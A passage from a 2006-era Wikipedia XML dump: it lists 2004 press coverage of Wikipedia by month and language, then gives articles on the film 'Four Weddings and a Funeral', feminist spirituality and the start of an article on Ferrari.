**A response: '''[http://abcnews.go.com/Business/SiliconInsider/story?id=88655&amp;page=1 Digital Democratization: The Digital World and Its Rulers Are Undergoing Some Growing Pains]''', ABC News ''Silicon Insider'', [[18 November]] [[2004]]. &quot;Could the Wikipedia do with more oversight on matters of accuracy? Absolutely; and it will only survive the test of the marketplace over time if it does so. But let's not forget, as McHenry seemed to, that the Wikipedia is also only three years old. It and the Web are only now groping their way toward new models of collaboration and valuation — models that I suspect will include greater peer review, Olympics-type grading systems that eliminate the highs and lows, and even, perhaps something like the King James Bible translators, small teams that police themselves for the highest levels of accuracy and quality.&quot;

* '''[http://www.editorandpublisher.com/eandp/columns/stopthepresses_display.jsp?vnu_content_id=1000724065 How to Integrate Citizen Journalism Into Mainstream News Sites]''', Editor &amp; Publisher, [[19 November]] [[2004]]. Journalism professor refers to the premise of having the audience determine site content as &quot;the Wikipedia argument&quot;.

* '''[http://www.econtentmag.com/Articles/ArticleReader.aspx?ArticleID=7360&amp;ContextSubtypeID=13 Would You Trust Joe Isuzu’s Blog?]''', EContentMag.com, [[23 November]] [[2004]] (the time stamp is the 1 December! I've emailed them about this problem). Talks about how journalists should deal with websites and Wikipedia content and how the author believes that new ways of referencing information need to be developed due to sites like Wikipedia.

*'''[http://www.wired.com/news/culture/0,1284,65819,00.html?tw=wn_tophead_1 Wikipedia Creators Move Into News]''', Wired.com, [[29 November]] [[2004]]. Describes Wikinews project and compares it to the existing Wikipedia. &quot;After doing much in recent years to revolutionize the way an encyclopedia can be built and maintained, the team behind Wikipedia is attempting to apply its collaborative information-gathering model to journalism.&quot;

* '''[http://trends.newsforge.com/trends/04/11/22/1750202.shtml?tid=137 The open source wiki behind Wikipedia]''', NewsForge, [[November 30]], [[2004]]. Article on how to install [[MediaWiki]].

* '''The Wikipedia Wars''', School Librarian Journal, [[November, 2004]]. subtitle: School librarian sparks fight over free online resource. &quot;The ensuing conflict between techies and librarians and open content versus traditional resources underscores the challenges facing information specialists in the Digital Age, particularly those who work with young people.&quot;

===December===
*'''[http://www.cornellsun.com/vnews/display.v/ART/2004/12/02/41ae87066c10f Arrr!]''', The Cornell Daily Sun, Jim Shliferstein, [[December 2]] [[2004]]. Details deliberate vandalism on Wikipedia by the author of the piece (Jim Shliferstein) and his mate. &quot;I never fully understood the sheer awfulness of the human condition until last Tuesday. In the course of a debate about mammalian intelligence, my friend Harlan and I discovered an online encyclopedia called Wikipedia.org, a depressingly successful effort to harness the elusive Power of Loser.&quot;
*'''[http://www.wired.com/news/culture/0,1284,65890,00.html Her So-Called Digital Life]''', Wired News, [[December 2]], [[2004]]. A new usage of the word ''Wikipedia'': &quot;She isn't an aberration. On the contrary, she's a trend. Most of her friends -- many of them geeks and übergeeks -- live this way, the internet at the center of their relationships. Hodder is one of a growing number of technophiles whose lives are one big Wikipedia (a web-based encyclopedia that anyone can edit). And the life she leads may foreshadow yours.&quot;
*'''[http://www.usatoday.com/tech/webguide/internetlife/2004-12-07-online-truth-elusive_x.htm With information access so easy, truth can be elusive]''', Associated Press, [[6 December]] [[2004]]. &quot;The credentials of the people authoring grassroots Web journals and a committee-written encyclopedia called Wikipedia are often unclear. Nevertheless, some Internet users believe that such resources can collectively portray events more accurately than any single gatekeeper.&quot; (widely reprinted, link is to USA Today)
*'''[http://www.signonsandiego.com/news/computing/personaltech/20041206-9999-mz1b6encyclo.html Everyone's Encyclopedia]''', San Diego Union-Tribune, [[6 December]] [[2004]]. Detailed article recounting the story of Wikipedia's origins and subsequent developments.
*'''[http://www.expresscomputeronline.com/20041213/market06.shtml My Reference Desk]''', Express Computer, [[13 December]] [[2004]]. &quot;In that case you&amp;#8217;d definitely be turning to resources like the Wikipedia, free of any charge since it has been written collaboratively by contributors from all over the world. Why not then throw in the Wiktionary, Wikiquote and Wikibooks as well.&quot;
*'''[http://news.scotsman.com/latest.cfm?id=3880996 The Internet Column: Looking back at 2004]''', The Scotsman, [[13 December]] [[2004]]. &quot;Interest in wiki has soared in the last year and sites like Wikipedia (www.wikipedia.org) and Wikitravel (wwww.wikitravel.org) have captured headlines around the world. Watch out for more wiki; this is one idea that has only just started to show its potential.&quot;
*'''[http://www.forbes.com/best/2004/1213/bow001.html Extreme Blogging]''', Forbes, [[13 December]] [[2004]]. Article about wikis as &quot;the next big thing&quot; has a detailed discussion of Wikipedia. &quot;We asked Frederick Allen, Managing Editor of ''American Heritage'' [published by Forbes], to compare entries from Britannica Online and the Wikipedia. He was skeptical about the Wikipedia, but after throwing several queries at the two encyclopedias ([[Haydn]], [[Millard Fillmore]], [[warbler]]s), he admitted, &quot;it looks as if Wikipedia's gotten a lot better, more thorough and more accurate.&quot; Even the Wikipedia's [[James II of England|James II of Britain]] article beat Britannica in size, reach and outside references. But Allen cautioned that there's &quot;still the underlying problem that you can't be sure of the accuracy of what it presents, because of the fact that it's open to contributions from the public.&quot;&quot;
*'''[http://www.davisenterprise.com/articles/2004/12/14/features/025fea.txt Davis, at your fingertips]''', Davis (CA) Enterprise, [[14 December]] [[2004]]. Mentions &quot;wikipedia&quot; in an article about a local community wiki.
*'''[http://books.guardian.co.uk/news/articles/0,6109,1374741,00.html Collins launches online dictionary to debate new words]''', The Guardian, [[16 December]] [[2004]]. In launching its new Living Dictionary, Collins cites Wikipedia as a model.
*'''[http://www.syracuse.com/news/poststandard/index.ssf?/base/news-0/1103626509270880.xml Spam filters search for patterns in words]''', Syracuse Post-Standard, [[22 December]] [[2004]]. From Dr. Gizmo's Q&amp;A: &quot;Q. I am happy that I could find one person who has had the guts to criticize Wikipedia. - T.H., freenet.de (Germany) A. Wikipedia is an online encyclopedia that allows anyone, regardless of qualifications, to write an entry or revise what someone else wrote. The doctor finds this ridiculous. That's not an encyclopedia; it's graffiti. Unfortunately, Wikipedia is easily accessed on the Internet, which makes it an easy source of misinformation for kids doing homework.&quot;
*'''[http://www.pcmag.com/article2/0,1759,1745178,00.asp Wikis at work]''', PC Magazine, [[22 December]] [[2004]]. Overview article about wikis mentions Wikipedia as &quot;one of the more robust wikis&quot;.
*'''[http://www.technologyreview.com/articles/05/01/issue/forward30105.asp?trk=nl Larry Sanger's Knowledge Free-for-All]''', Wade Roush, MIT Technology Review. &quot;There’s a second complaint against Wikipedia that bothers Sanger more deeply—the fractiousness among Wikipedians themselves. Sanger says participants often become embroiled in “revert wars” in which overprotective authors undo the changes others try to make to their articles. He says he’s afraid that this kind of behavior drives away academics and other experts whose contributions would otherwise raise Wikipedia’s quality.&quot; Referenced on [[slashdot]] [[24 December]] [[2004]] ([http://slashdot.org/articles/04/12/23/2312227.shtml?tid=95&amp;tid=146])
*'''[http://www.azcentral.com/arizonarepublic/local/articles/1226words26.html '04 crunk with clear and cream]''', Arizona Republic, [[26 December]] [[2004]]. Article about &quot;words that rose to prominence in 2004&quot; includes ''wiki'' and mentions Wikipedia, Wiktionary, and Wikinews as examples.
*'''[http://www.expresscomputeronline.com/20041227/edit02.shtml Gettin' wiki with it]''', Express Computer, [[27 December]] [[2004]]. &quot; If you’re dabbling with the Wikipedia for the first time, it comes as quite a shock that you have the power to edit any of the existing content, deleting or modifying what others have written and adding in your own two-bit wisdom.&quot;
*'''[http://www.yomiuri.co.jp/newse/20041228wo61.htm Favorite Web sites for 2004]''', Yomiuri Shimbun, [[27 December]] [[2004]]. &quot;The Wikipedia, still in its relative infancy, is also a really fun resource for random learning. Each day, a different article is featured on the main page, and you can use the random page feature to take you directly to unexpected topics.&quot;
*Coverage of Wikipedia's article on the [[2004 Indian Ocean earthquake]]:
**'''[http://www.redherring.com/Article.aspx?a=11098&amp;hed=Information+wave Information wave]''', Red Herring, [[27 December]] [[2004]]. Discusses the spread of information on the internet about earthquake and tsunami, and mentions Wikipedia articles as examples.
**'''[http://www.eschoolnews.com/eti/2004/12/000426.php The Future of News Right Now]''', Will Richardson, eSchool News, [[28 December]] [[2004]]. &quot;And when I do want a more complete picture of the story, I still don't go to the (NY) Times. Instead, I go to Wikipedia. Now I know there is some debate about the veracity of the information there. But take a minute to check out the Wikipedia entry on the tsunami event and tell me you aren't amazed. I know I am.&quot;
**'''[http://news.scotsman.com/scitech.cfm?id=1473372004 Lazy guide to net culture: Tsunami]''', The Scotsman, [[29 December]] [[2004]]. &quot;An invaluable source of information on the disaster&quot;
**'''[http://www.timesonline.co.uk/article/0,,18690-1418771,00.html Tsunami weblinks guide]''', [[The Times]], [[29 December]] [[2004]]. &quot;The tsunami already has its own exhaustive entry on Wikipedia, the online encyclopedia, including an animation from the US National Oceanic and Atmospheric Administration, casualty updates and details on the relief operation.&quot;
**[[MSNBC]] television ran a live segment called &quot;'''Cyberspace Collaboration'''&quot;.  Guest [[Jeff Jarvis]] of Buzzmachine.com mentioned Wikipedia as a starting point for background information and links to collaborative and blog-based information on the earthquake and tsunami. ([http://www.buzzmachine.com/archives/2004_12_31.html#008763 Reference]) (2:30PM EST on [[December 31]], [[2004]]) 
*'''[http://news.bbc.co.uk/1/hi/technology/4131793.stm Why the web is often woeful]''', BBC News, [[29 December]] [[2004]]. Commenting on the state of search engine technology: &quot;I am making a lot more use of specific searches on places like Wikipedia and subscription database services.&quot;
*Bazeley, Michael. &quot;Blogs, message boards draw world closer after (tsunami) tragedy.&quot; ''The Mercury News''. [[December 31]], [[2004]]. &lt;small&gt;[http://www.mercurynews.com/mld/mercurynews/10538681.htm]&lt;/small&gt;
::&quot;You can get a really good consensus picture of what's going on that's stronger than any one news organization could offer,&quot; said Jimmy Wales, founder of the online encyclopedia Wikipedia. &quot;So many people are on the ground in different places. And people pick up very quickly which are the bloggers to read, and they bring that information to the forefront and amplify it.&quot;
::&quot;Volunteers at Wikipedia, a collaborative site that can be edited by virtually anyone, quickly created a Web page dedicated to the earthquake and tsunamis. Users have posted photos, graphics and a robust list of links to other sources of information. As of Thursday, the page had been edited 1,500 times, Wales said.&quot; 
::&quot;It's a place for people to synthesize all of the information and sort through it,&quot; Wales said.

::''Please note that '''[[Wikipedia:Wikipedia as a press source]]''' is where to view or add articles in which the media uses Wikipedia as a source, but doesn't explicitly talk about the project itself.''

==Esperanto==
*'''&quot;Esperanta Vikipedio atingis 10 000 artikolojn&quot;''' - [http://www.uea.org/revuo/2004/enhavo_januaro.html ''Revuo Esperanto'' (UEA, Rotterdam), January 2004] pp. 6-7, 12 (unfortunately not one of the online articles) - Celebrating the 10,000th-article mark in the [[:eo:&amp;#264;efpa&amp;#285;o|Esperanto Wikipedia]], this 2½-page article goes into a fair amount of detail about the project, with emphasis on the Esperanto version and the multilingual nature of Wikipedia. Paragraph headings range from ''Kio &amp;#285;i estas?'' [What is it?], through ''Kiel oni redaktas Vikion?'' [How does one edit a Wiki?], to ''Altaj Valoroj de Vikipedio'' [High values of Wikipedia], and ''Granda kreskrapido'' [Tremendous growth]. The article is attributed to [http://eo.wikipedia.org/wiki/Arno_LAGRANGE Arno Lagrange], &quot;kunredaktita de la vikipediistoj&quot;.

*'''[http://gxangalo.com/noticoj/1720.html &amp;#284;angalo]''' published the article ''Vikipedio atingis unu milionon da artikoloj'' (Wikipedia reached one million articles).

*The Esperanto staff of '''[http://www.radio.com.pl/polonia Radio Polonia]''' had a 20-minute interview with Chuck Smith about Wikipedia. See [http://members.aon.at/aldone/retradio/progr021.html] (27-04-2002) for RealAudio download.

==French==
*[http://www.largeur.com/printArt.asp?artID=1512 Largeur.com]
*[http://www.01net.com/ 01net.com]: '''[http://www.01net.com/article/252216.html Wikipédia, l'encyclopédie Web dont vous êtes le rédacteur].''' Notes the millionth article, forthcoming CD/DVD version from Mandrakesoft, Wikimedia Foundation's aims.
*A positive, albeit somewhat uninformed [http://www.liberation.fr/page.php?Article=255781&amp;AG article] in the moderate left-wing national daily [[Libération]] (mentioned on the front page!).
*A very negative [http://leserged.online.fr/img/charliepedia.png] article in the far left-wing [[:fr:Charlie Hebdo|Charlie Hebdo]]. The author accuses Wikipedia of favoring the majority opinion, which may include [[cliché]]s, obsolete data and [[fad]]s, over scientific knowledge. The article finishes by criticizing the Wikipedia project as ''anarcho-libéral'' (anarcho-capitalist), replacing publicly-funded research by catalogues of beliefs.
*A short presentation of the French version of Wikipedia in [http://www.laviedunet.be/VDN/Viedunet/Le_Guide/Mise_au_net/Culturel/page_5043_285468.asp laviedunet.be], an extra of the Belgian newspaper [[Le Soir]].

==German==
*'''[http://www.sueddeutsche.de/jobkarriere/berufstudium/artikel/792/25767/  Süddeutsche Zeitung]''' publishes an article by [[user:Eloquence|Eloquence]] about wikipedia. It includes statements from the German Wikipedia press-liaison and from [[Brockhaus]], the publisher of a German Encyclopedia. January 30, 2004
*'''[http://www.spiegel.de/netzwelt/netzkultur/0,1518,287730,00.html Spiegel Online]''', the online edition of the largest German news magazine publishes a full length article on Wikipedia including statements by four different Wikipedians. February 24, 2004
*The Austrian &quot;quality&quot; daily ''Die Presse'' ( http://www.diepresse.com ) publishes an article by their computer expert on the English and German Wikipedia. June 6, 2004 (weekend edition). [http://www.diepresse.com/Artikel.aspx?channel=h&amp;ressort=ho&amp;id=425222&amp;archiv=false]
*The ''Frankfurter Rundschau'' runs a lengthy article on Wikipedia: &quot;The Brockhaus [a popular German encyclopedia publisher] has got serious competition. Within a few years the Wikipedia encyclopedia has developed into one of the most extensive reference books on the Internet - and it continues to grow constantly.&quot; (&quot;[http://www.fr-aktuell.de/ressorts/wissen/netzwert/?cnt=454244&amp; Wissens-Wert]&quot;, June 16, 2004)
*The '''[http://www.heise.de/ct/tv/archiv/20041009/#51787 c't Magazin TV]''' will compare Wikipedia with the Brockhaus DVD and Microsoft Encharta on October 9 2004. The video will be available [http://www.heise.de/ct/tv/archiv/20041009/#51787 here]. See also the newsticker on [http://www.heise.de/newsticker/meldung/51942 Heise online].
* Wikipedia recieves a very favourable review in a comparison  of the leading digital encyclopedias by the German newspaper '''[[Die Zeit]]''': [http://www.zeit.de/2004/43/C-Enzyklop_8adien-Test], October 15 2004.
* German Wikipedia CD reviewed and promoted via the German [[AP]]: [http://de.news.yahoo.com/041026/12/49lc1.html], October 26, 2004

==Hebrew==
* Wikipedia is called &quot;one of the most ambitious projects in the history of humanity&quot; and an &quot;optimistic worldview that has overcome cyncism and scepticism&quot; in this very favourable article by the Israeli portal &quot;Nana&quot; on [[October 22]], [[2004]]. [http://weekend.nana.co.il/Article/?ArticleID=153606&amp;sid=78] 

==Hungarian==
* Wikipedia was a topic of ''Digitális'' (''Digital'') in the national radio &quot;Kossuth&quot; on [[February 11]], [[2004]]. (Number of registered editors jumped from 50 to 125.)

==Italian==
* An article on Wikipedia has come out on ''Corriere della Sera Magazine'' the weekly magasine distribuited with ''il Corriere della Sera'' one of the most important Italian newspeaper. The article is on page 156 of the number of [[02 december]] [[2004]]. The title is ''Da grande voglio fare il giornalista'' that I may translate as ''As an adult, I want to be a journalist''. The article point out the freedom to anyone to write, the vast eclectic argument trated, the neutral point of view system, the collaborative system and the review by other member system. The article deals of the internationalization of the project and point out both the English version and the Italian version

==Irish==
* '''[http://homepages.iol.ie/~rnl102/ Raidió na Life]''', an [[Irish language|Irish-language]] [[community radio]] station in Dublin, Ireland, recorded a brief interview (about five minutes) on 16th April with [[User:Kwekubo|Gabriel Beecham]] on Wikipedia, specifically focussing on the Irish version. The package was aired during the evening show ''Fios Feasa'' the following week.

==Norwegian==
*http://magasinet.kulturnett.no/artikkel.php?id=4050bede90712&amp;sn=magasinet
*[http://www.aftenposten.no/nyheter/nett/article877281.ece '''Wikipedia mest populært i uke 39'''], [[Aftenposten]], [[September 25]], [[2004]].
*[http://www.aftenposten.no/nyheter/nett/article883072.ece '''Gratis leksikon verdens største'''], [[Aftenposten]], [[October 4]], [[2004]].
*[http://www.aftenposten.no/nyheter/nett/article883070.ece '''Overraskende bra'''], [[Aftenposten]], [[October 4]], [[2004]].

==Persian==
* In an Q&amp;A column of the [[Shargh]] newspaper on [[December 13]], [[2003]], when someone asks &quot;I need some information about the United Nations. Please help me to find some.&quot;, Shargh answers &quot;'''www.un.org'''. But you can find answers to such questions on an Internet encyclopedia at '''www.wikipedia.com'''&quot;. [http://www.sharghnewspaper.com/820922/end.htm#s8697]

==Romanian==

===March===
* A short [http://www.gardianul.ro/articol.php?a=mediacultura2004030206.xml article] on Wikipedia appeared in the [[March 2]]nd, [[2004]] edition of [http://www.gardianul.ro Gardianul], a Romanian newspaper, following the 1/2 Million press release. The article is a highly stripped-down version of the [http://ro.wikipedia.org/wiki/Wikipedia:Primul_comunicat_de_pres%C4%83_al_Wikimedia actual press release].

===April===
* A [http://www.chip.ro/stiri.php?id=5068 detailed article] based on the press release [http://ro.wikipedia.org/wiki/Wikipedia:Primul_comunicat_de_pres%C4%83_al_Wikimedia/Arhiv%C4%83/7_aprilie_2004 Wikipedia in romanian, 5.000 articles] was written on [[April 8]]th, [[2004]] in the electronic version of [http://www.chip.ro Chip], a romanian IT magazine.

* A [http://www.evz.ro/social/?news_id=151704 brief summary] of the last press release, [http://ro.wikipedia.org/wiki/Wikipedia:Primul_comunicat_de_pres%C4%83_al_Wikimedia/Arhiv%C4%83/7_aprilie_2004 Wikipedia in romanian, 5.000 articles] appeared in the [[April 13]]th, [[2004]] edition of [http://www.ez.ro Evenimentul Zilei], a very large circulation Romanian newspaper.

===July===
* A [http://www.banateanul.ro/articol/ziar/timisoara/informatie-la-click/2694/162/ detailed article] about Wikipedia appeared in the [[July 27]]th, [[2004]] edition of [http://www.banateanul.ro B&amp;#259;n&amp;#259;&amp;#355;eanul], a regional Romanian newspaper, with distribution in Timi&amp;#351;oara and Banat.

==Russian==

*[http://www.computerra.ru/offline/2004/555/35627/ &amp;#1050;&amp;#1072;&amp;#1082; &amp;#1089;&amp;#1090;&amp;#1072;&amp;#1090;&amp;#1100; &amp;#1042;&amp;#1086;&amp;#1083;&amp;#1100;&amp;#1090;&amp;#1077;&amp;#1088;&amp;#1086;&amp;#1084;, &amp;#1080;&amp;#1083;&amp;#1080; &amp;#1089;&amp;#1072;&amp;#1084;&amp;#1072;&amp;#1103; &amp;#1089;&amp;#1074;&amp;#1086;&amp;#1073;&amp;#1086;&amp;#1076;&amp;#1085;&amp;#1072;&amp;#1103; &amp;#1101;&amp;#1085;&amp;#1094;&amp;#1080;&amp;#1082;&amp;#1083;&amp;#1086;&amp;#1087;&amp;#1077;&amp;#1076;&amp;#1080;&amp;#1103;] // &amp;#1050;&amp;#1086;&amp;#1084;&amp;#1087;&amp;#1100;&amp;#1102;&amp;#1090;&amp;#1077;&amp;#1088;&amp;#1088;&amp;#1072;, &amp;#8470;31-32 (31 &amp;#1072;&amp;#1074;&amp;#1075;&amp;#1091;&amp;#1089;&amp;#1090;&amp;#1072; 2004 &amp;#1075;&amp;#1086;&amp;#1076;&amp;#1072;).

*Wikipedia has been used a few times at www.lenta.ru, a Russian news website.
http://www.lenta.ru/Search?Search=wikipedia&amp;Errors=0&amp;LookFor=substring&amp;Lines=10

==Spanish==
*http://www.elimparcial.com/edicionenlinea/notas/Informatica/20040315/78287.asp

== Turkish ==
* In the germany-based Turkish/Kurdish daily newspaper ''Özgür Politika'' an article about the Turkish and the Kurdish Wikipedia apperard on 4th of July 2004 [http://www.ozgurpolitika.com/2004/07/04/hab21.html]

[[Category:Wikipedia as a media topic]]</text>
    </revision>
  </page>
  <page>
    <title>Four Weddings and a Funeral</title>
    <id>11223</id>
    <revision>
      <id>36779395</id>
      <timestamp>2006-01-26T12:03:49Z</timestamp>
      <contributor>
        <username>Adrian Buehlmann Bot</username>
        <id>723279</id>
      </contributor>
      <comment>[[WP:AWB|AWB assisted]] rm underline in template name</comment>
      <text xml:space="preserve">{{Infobox Film  |
  name     = Four Weddings and a Funeral |
  image          = Fourweddingsandafuneral.gif |
  imdb_id       = 0109831 |
  producer         = [[Duncan Kenworthy]] |
  director       = [[Mike Newell (director)|Mike Newell]] |
  writer         = [[Richard Curtis]] |
  starring       = [[Hugh Grant]]&lt;br&gt;[[Andie MacDowell]] |
  music         = [[Richard Rodney Bennett]]  |
  cinematography =  |
  editing         =  |
  distributor    = [[Gramercy Pictures]] |
  released   = [[March 9]], [[1994]] |
  runtime        = 117 min. |
  budget         = |
  language = [[English language|English]] |
}}
'''''Four Weddings and a Funeral''''' is a [[1994]] [[United Kingdom|British]] [[romantic comedy film]] directed by [[Mike Newell (director)|Mike Newell]].

It featured a crowd-pleasing [[soundtrack]] of popular songs, including a [[cover version]] of &quot;Love Is All Around&quot; performed by [[Wet Wet Wet]], a single that remained at Number 1 in the British Charts for fifteen weeks and was then the ninth [[List of best-selling singles (UK)|biggest selling single of all time]] in Britain (now twelfth).

In [[2000]], readers of ''[[Total Film]]'' magazine voted ''Four Weddings and a Funeral'' the 27th greatest comedy film of all time. In [[2004]] the same magazine named it the 34th greatest British film of all time.

==Primary cast==
*[[Hugh Grant]]: Charles
*[[Andie MacDowell]]: Carrie
*[[James Fleet]]: Tom 
*[[Simon Callow]]: Gareth 
*[[John Hannah (actor)|John Hannah]]: Matthew 
*[[Kristin Scott Thomas]]: Fiona 
*[[David Bower]]: David 
*[[Charlotte Coleman]]: Scarlett
*[[Rowan Atkinson]]: Father Gerald
*[[Anna Chancellor]]: &quot;Duckface&quot;

==About the Film==
{{spoiler}}
The film follows the adventures of a group of friends through the eyes of a frequently tongue-tied and ''faux pas''-prone Englishman (played by Grant), who is smitten by the attractive American played by MacDowell. They keep meeting up at weddings (and the funeral of an ebullient middle-aged gay man played by Simon Callow). Featuring Rowan Atkinson in a cameo playing an inexperienced priest, and John Hannah in one of his first screen roles, the movie was appreciated by audiences for its witty [[screenplay|script]] (written by Richard Curtis) and the considerable charisma of its actors, especially Grant and MacDowell. The film had box-office revenues of more than $260 million world-wide. Wedding three (Hamish and Carrie) was notably set in a fictional Scottish castle called 'Glenthrist'.

==Awards and recognition==
===Award wins===
*[[BAFTA Award for Best Film]]
*[[César Award for Best Foreign Film]]
*[[BAFTA Award|BAFTA David Lean Award for Direction]] (Mike Newell)
*[[BAFTA Award for Best Actor]] ([[Hugh Grant]])
*[[Golden Globe Award for Best Actor - Motion Picture Musical or Comedy]] (Hugh Grant)
*[[BAFTA Award|BAFTA Award for Best Actress in a Supporting Role]] ([[Kristin Scott Thomas]])

===Award nominations===
*[[Academy Award for Best Picture]] 
*[[Golden Globe Award for Best Motion Picture - Musical or Comedy]] 
*[[Golden Globe Award for Best Actress - Motion Picture Musical or Comedy]] ([[Andie MacDowell]])
*[[Academy Award for Writing Original Screenplay]] ([[Richard Curtis]])
*[[Golden Globe|Golden Globe Award for Best Screenplay - Motion Picture]] (Richard Curtis) 
*[[Directors Guild of America| Directors Guild of America Award for Outstanding Directorial Achievement in Motion Pictures]] (Mike Newell)

==References==
*On an episode of ''[[The Simpsons]]'', an ''[[Itchy and Scratchy]]'' cartoon was called ''Four Funerals and a Wedding''.
*In [[The Complete Works of William Shakespeare (Abridged)]], Shakespeare's comedies are grouped together under the title ''Four Weddings and a Transvestite''.

==See also==
* ''[[Notting Hill (movie)|Notting Hill]]'', also written by Curtis and starring Grant.

==External links==
*{{imdb title|id=0109831|title=Four Weddings and a Funeral}}

[[Category:1994 films]]
[[Category:Best Picture Oscar Nominee]]
[[Category:British films]]
[[Category:Romantic comedy films]]
[[Category:Films directed by Mike Newell]]

[[de:Vier Hochzeiten und ein Todesfall]]
[[fr:Quatre mariages et un enterrement]]
[[nl:Four Weddings and a Funeral]]
[[sv:Fyra bröllop och en begravning]]</text>
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  </page>
  <page>
    <title>Feminist spirituality</title>
    <id>11224</id>
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      <id>36849404</id>
      <timestamp>2006-01-26T21:56:26Z</timestamp>
      <contributor>
        <username>Judith Laura1</username>
        <id>843400</id>
      </contributor>
      <minor />
      <comment>added mention of Goddess movement at end of second paragraph</comment>
      <text xml:space="preserve">'''Feminist spirituality''' is a class of religious beliefs in which certain [[feminism|feminist]] ideas play an important role.

In the latter part of the 20th Century, feminism was influential in the rise of [[Neopaganism]] in the [[United States]], and particularly the [[Dianic tradition]].  Some feminists find the worship of an all-loving [[goddess]], rather than a [[god]], to be consonant with their views.  The collective set of beliefs associated with this is sometimes known as [[thealogy]]and sometimes referred to as the [[Goddess movement]].

Others who practice feminist spirituality may instead adhere to a feminist re-interpretation of Western monotheistic traditions.  In those cases, the notion of [[God]] as having a male gender is rejected, and God is not referred to using male pronouns.  Feminist spirituality may also object to images of God that they perceive as authoritarian, parental, or disciplinarian, instead emphasizing &quot;maternal&quot; attributes such as nurturing, acceptance, and creativity.

[[Feminism]] has had a great impact on many aspects of [[religion]]. In liberal branches of Protestant Christianity, women are now ordained as clergy. In Reform, Conservative and Reconstructionist [[Judaism]], women are now ordained as [[rabbi]]s and [[cantor]]s. Within these Christian and Jewish groups, women have gradually become equal to men by obtaining positions of power; their perspectives are now sought out in developing new statements of belief. These trends have been resisted within [[Islam]], conservative [[Protestantism]], [[Catholicism]] and orthodox [[Judaism]]; which forbid women from being recognized as religious clergy in the same way that men are accepted.

There is a separate article on [[God and gender]]; it discusses how monotheistic religions deal with God and gender, and how modern feminism has influenced the theology of many religions.

==See also==

*[[Spiritual feminism]]
*[[Goddess movement]]
*[[Mythopoetic]]

[[Category:Feminism]]
[[Category:Spirituality]]
[[Category:Religious feminism]]</text>
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  </page>
  <page>
    <title>Ferrari</title>
    <id>11225</id>
    <revision>
      <id>42131459</id>
      <timestamp>2006-03-04T00:54:12Z</timestamp>
      <contributor>
        <username>CambridgeBayWeather</username>
        <id>294180</id>
      </contributor>
      <minor />
      <comment>Reverted edits by [[Special:Contributions/155.143.23.250|155.143.23.250]] ([[User talk:155.143.23.250|talk]]) to last version by CambridgeBayWeather</comment>
      <text xml:space="preserve">[[Image:Ferrari-Logo.svg|thumb|right|200px|The current Ferrari logo]]'''Ferrari''' is an [[Italy|Italian]] manufacturer of high-end [[Formula One cars]], [[Auto racing|race car]]s,  [[Supercar|Exotic cars]] and high-performance [[sports car]]s formed by [[Enzo Ferrari]] in [[1929]]. At first, '''[[Scuderia Ferrari]]''' sponsored drivers and manufactured racecars; the company went into independent car production in [[1946]], eventually became '''Ferrari [[Joint stock company|S.p.A.]]''', and is now controlled by the [[Fiat]] group. The company is based in [[Maranello]], near [[Modena]], [[Italy]].

== History ==
:''See also:''
::''[[Enzo Ferrari]] for the founder's life story''
::''[[History of Ferrari]] for details on the Ferrari automobile company''
::''[[Scuderia Ferrari]] for further history of the Ferrari racing team''

=== 1929-1946 === 
[[Enzo Ferrari]] never intended to produce road cars when he formed ''Scuderia Ferrari'' in [[1929]] as a sponsor for amateur drivers headquartered in Modena. Ferrari prepared and successfully raced various drivers in [[Alfa Romeo]] cars until [[1938]], when he was officially hired by Alfa as head of their racing department.

In [[1940]], upon learning of the company's plan to absorb his beloved ''Scuderia'' and take control of his racing efforts, he quit Alfa. Because he was prohibited by contract from racing for several years, the ''Scuderia'' briefly became [[Auto Avio Costruzioni Ferrari]], which ostensibly produced machine tools and aircraft accessories. Also known as SEFAC Ferrari did in fact produce one racecar, the [[Ferrari Tipo 815|Tipo 815]], in the non-competition period; it was thus the first actual Ferrari car (it debuted at the 1940 [[Mille Miglia]]), but due to [[World War II]] it saw little competition.  In [[1943]] the Ferrari factory moved to Maranello, where it has remained ever since. The factory was bombed in [[1944]] and rebuilt in [[1946]] to include a works for road car production.  Right up to ''Il Commendatore'''s death, this would remain little more than a source of funding for his first love, racing.

&quot;''Scuderia Ferrari''&quot; literally means &quot;Ferrari Stable&quot; in keeping with the prancing horse emblem; the name is figuratively translated as &quot;Team Ferrari.&quot;  (It is correctly pronounced &quot;skoo dee ''ry'' ah&quot;.)

=== 1945-present ===
The first Ferrari road car was the [[1947]] [[Ferrari 125|125 S]], powered by a 1.5&amp;nbsp;L V12 engine; Enzo reluctantly built and sold his automobiles to fund the ''Scuderia''. While his beautiful and blazingly fast cars quickly gained a reputation for excellence, Enzo maintained a famous distaste for his customers, most of whom he felt were buying his cars for the prestige and not the performance.

Ferrari road cars, noted for magnificent styling by design houses like [[Pininfarina]], have long been one of the ultimate accessories for the rich. Other design houses that have done work for Ferrari over the years include [[Scaglietti]], [[Bertone]], [[Touring]], [[Ghia]], and [[Vignale]].

As of [[2004]], [[FIAT]] owns 56% of Ferrari, [[Mediobanca]] 15%, [[Commerzbank]] 10%, [[Lehman Brothers]] 7%, and Enzo's son [[Piero Ferrari]] 10%.

== Racing ==
[[Image:Schumacher_A1Ring.jpg|thumb|300px|The Scuderia celebrate another Schumacher win, (C) Ferrari Press Office]]

''Main article: [[Scuderia Ferrari]]''

[[Enzo Ferrari]]'s true passion, despite his extensive road car business, was always auto racing. His Scuderia started as an independent sponsor for drivers in various cars, but soon became the [[Alfa Romeo]] in-house racing team. After Ferrari's departure from Alfa, he began to design and produce cars of his own; the Ferrari team first appeared on the European grand prix scene after the end of [[World War II]].

The Scuderia joined the [[Formula One]] World Championship in the first year of its existence, [[1950]]. [[José Froilán González]] gave the team its first victory at the [[1951]] [[British Grand Prix]]. [[Alberto Ascari]] gave Ferrari its first [[List of Formula One World Constructors' Champions|World Championship]] a year later. Ferrari is the oldest team left in the championship, not to mention the most successful: the team holds nearly every Formula One record. As of [[2004]], the team's records include fourteen World Drivers Championship titles ([[1952]], [[1953]], [[1956]], [[1958]], [[1961]], [[1964]], [[1975]], [[1977]], [[1979]], [[2000]], [[2001]], [[2002]], [[2003]] and [[2004]]), fourteen World Constructors Championship titles ([[1961]], [[1964]], [[1975]], [[1976]], [[1977]], [[1979]], [[1982]], [[1983]], [[1999]], [[2000]], [[2001]], [[2002]], [[2003]] and [[2004]]), 179 [[Grand Prix motor racing|grand prix]] victories, 3445 and a half points, 544 podium finishes, 174 [[pole position]]s, 11,182 laps led, and 180 fastest laps in 1622 grands prix contested.

